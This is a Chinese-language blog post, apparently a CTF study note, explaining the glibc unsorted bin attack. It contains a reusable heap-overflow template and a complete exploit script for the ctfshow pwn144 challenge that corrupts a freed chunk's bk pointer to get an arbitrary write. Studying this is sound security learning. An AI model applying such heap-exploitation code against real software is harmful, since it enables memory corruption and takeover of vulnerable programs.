Unsorted bin Attack

本文最后更新于 2025年12月30日 凌晨

参考

CTF-WIKI

Unsortedchunk模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#amd64-chunk
Add(0x20,'TY')
Add(0x80,'TY')
Add(0x20,'TY')

Del(1)

taget = 0x06020C0
prev_size = 0
thunck_size = 0x91
fd = 0
bk = taget - 0x10

chunk_1 = p(prev_size) + p(thunck_size)
chunk_1 += p(fd) + p(bk)

payload = junk(0x20)
payload += thunck_1

Edit(0,len(payload),payload)
Add(0x80)

实现要求

  • 堆溢出
  • 待unsorted chunk不与TOP chunk相邻

原理

这个攻击有点像Unlink,但是可能更高效一点(在进行攻击的时候)但是也有缺点,就是单纯的Unsorted bin Attack下,任意内存写入的数据内容不可控,简单理解下

当我们申请的chunk->size >= 0x90的时候,再free(chunk),该chunk会进入unsortedbin

unsortedbin是个双向链表管理器,通俗来讲,它有个最高等级的(虚假的这里我用虚线来表示)tmp_chunk来管理双向链表

当我要将chunk1从这个双链中脱出

  • 更新tmp_chunk->bk
  • 更新chunk0->fd
1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
  • victim实际上就是unsortedbin中链表的最后一个chunk(这里就是chunk1)
  • 那么bck就是chunk0
  • unsorted_chunks (av)就是tmp_chunk

翻译一下就是

tmp_chunk->bk = bck == victim->bk

bck->fd = tmp_chunk

  • tmp_chunk->bk = victim->bk

  • victim->bk->fd(实际就是bck->fd:chunk0->fd) = tmp_chunk

  • victim->bk+2 = tmp_chunk

看得难受?没事,上图

那也就说,当我们控制了victim->bk值,那么我们就能将tmp_chunk写入任何地址上,但是tmp_chunk的值我们无法控制

看表达式

  • victim->bk = target-2
    • tmp_chunk->bk = target-2
    • victim->bk+2 [target] = tmp_chunk

例题

ctfshowpwn144

edit:存在堆溢出漏洞

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def add(size,content):
sla('Your choice :',str(1))
sla('Size of Heap : ',str(size))
sa('Content of heap:',content)

def edit(index,size,content):
sla('Your choice :',str(2))
sla('Index :',str(index))
sla('Size of Heap : ',str(size))
sa('Content of heap : ',content)

def delete(index):
sla('Your choice :',str(3))
sla('Index :',str(index))

add(0x20,b'aaaa')
add(0x80,b'aaaa')
add(0x20,b'aaaa')
delete(1)

target = 0x06020A0
fd = 0
bk = target - 0x10

payload = junk(0x20)
payload += p(0)
payload += p(0x91)
payload += p(fd)
payload += p(bk)

edit(0,len(payload),payload)

add(0x80,b'bbbb')

sl(str(0x1BF52))
inter()

代码解释


Unsorted bin Attack
https://tforevery.github.io/PWN/HEAP/Unsorted-bin-Attack/
作者
TY
发布于
2025年12月24日
许可协议